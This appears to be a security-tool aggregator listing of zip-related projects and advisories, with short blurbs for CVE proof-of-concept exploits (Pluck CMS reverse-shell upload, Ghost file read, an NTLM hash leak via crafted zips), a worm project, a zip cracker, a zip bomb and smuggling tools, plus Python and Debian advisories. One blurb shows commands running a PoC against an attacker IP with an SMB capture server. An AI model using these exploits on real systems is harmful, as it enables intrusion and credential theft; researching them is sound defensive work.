spyre

Spyre ...a simple, self-contained modular host-based IOC scanner Spyre is a simple host-based IOC scanner built around the YARA pattern matching engine and other scan modules. The main goal of this project is easy operationalization of YARA rules and other indicators of compromise. Users need to...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : The username/email for the target Ghost CMS. --password : The password for the target Ghost CMS. --url : The URL of the target Ghost CMS e.g., http://website.com. 1. Login: The script authenticates with the Ghost CMS admin API and retrieves a session...

zipbrk

zipbrk 2.2.0 Zip break is a tool to disect, modify, and reassemble zip files for a variety of tasks. It is designed to be cross-platform and as simple as possible to port between varied systems. It has been tested on Windows 9x/2k/XP, Windows Vista/7/8, Fedora 23/24/25/26/27, Kali, Debian 8/9,...

ZIPFileRaider

ZIP File Raider - Burp Extension for ZIP File Payload Testing ZIP File Raider is a Burp Suite extension for attacking web application with ZIP file upload functionality. You can easily inject Burp Scanner/Repeater payloads in ZIP content of the HTTP requests which is not feasible by default. This...

CVE-2023-36025

CVE-2023-36025 CVE-2023-36025 के लिए सरल परीक्षण, जो https://twitter.com/wdormann/status/1725148437115473947 पर प्रदर्शित PoC पर आधारित है यह कोड तुरंत चलाने के लिए नहीं है - ZIP फ़ाइल को आपके स्वामित्व वाले सर्वर पर होस्ट किया जाना चाहिए, और file:// URL पर पीड़ित मशीन के लिए सुलभ होना चाहिए...

Zip-Cracker-

Zip Cracker This Script Supports Only Zip File in This Verson You Can Also Use This Script With crunch Cross-platform Supported Usage: zipcracker.py options root@kitploit: Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME,...

Wormy

Wormy - The challenge In this repo I will write some functions in python3 in my free time to add "some spreading features like worms" to any python backdoor. After finishing I will make it a real worm ToDo list : 1Spread in drivers, add to startup and continuous check✓ 2Spread in python scripts b...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Edit: MICROSOFT HAS BEEN RENAMED CVE-2025-24071 AS CVE-2025-24054 🤔 Overview This Windows vulnerability, specifically in 'explorer.exe', allows us to receive a NetNTLMv2 hash from a victim simply by having the attacker extract a .zip file. Usage Execute the...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 An arbitrary file upload vulnerability in the component /inc/modulesinstall.php of Pluck-CMS v4.7.18 allows attackers to execute arbitrary code via uploading a crafted ZIP file. This is an authenticated vulnerability. Disclaimer: This code is meant for...

zip_smuggling

zipsmuggling This Python utility creates zip files that contain additional data embedded within the file structure. This extra data is not visible/does not display when the zip is examined or decompressed, but can be retrieved using powershell via a Windows shortcut file LNK within the zip file...

CVE-2016-5636

CVE-2016-5636 PoC for CVE-2016-5636, which is a heap overflow in Python 3.6. This repository includes: crash-with-zip : crash PoC by reading untrusted zip file google-web-engine : crash PoC working on google web engine spawn-shell : a local exploit for spawning shell...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

CVE-2021-25094

CVE-2021-25094 Tatsu Plugin ZIP File addcustomfont unrestricted upload usage php p.php...

CVE-2023-50564

CVE-2023-50564 CVE-2023-50564, Pluck CMS v4.7.18 में एक RCE कमजोरी है। यह /inc/modulesinstall.php कंपोनेंट में एक मनमानी फ़ाइल अपलोड कमजोरी के माध्यम से संभव है, जो एक दुर्भावनापूर्ण .zip फ़ाइल अपलोड करके मनमाना कोड निष्पादित करने की अनुमति देती है। उपयोग एक्सप्लॉइट चलाने से पहले, /login.php पर...

CVE-2023-50564

CVE-2023-50564 For educational purposes only. This script abuses CVE-2023-50564 to upload a reverse-php shell to the target server. You can use a shell like this one. Just zip the php file and pass the zip to this script. Example root@kitploit: python3 cve-2023-50564.py -u http://idonot.exist -f...

zip_bomb

ZIP Bomb Creator ZIP Bomb Creator is a tool used to create a ZIP file that is small in size but drastically expands when extracted. This is useful for security experiments and testing file systems against ZIP Bomb attacks. Features Create a ZIP Bomb with configurable file count and size. Supports...

CVE-2026-15310 zipfile: bzip2/LZMA/Zstandard members decompress without a max_length bound, defeating chunked-read memory limits

When decompressing crafted zip files using the bzip/LZMA/Zstandard compressions, Python could use an attacker-controlled size to pre-allocate memory, possibly resulting in memory exhaustion...

BIT-PYTHON-2026-3087 shutil.unpack_archive() doesn't check for Windows absolute paths in ZIPs

If shutil.unpackarchive is given a ZIP archive with an absolute Windows path containing a drive C:\... then the archive will be extracted outside the target directory which is different than other operating systems. Only Windows is affected by this vulnerability...

[SECURITY] [DLA 4741-1] unzip security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4741-1 [email protected] https://www.debian.org/lts/security/ Andrej Shadura August 16, 2026 https://wiki.debian.org/LTS -...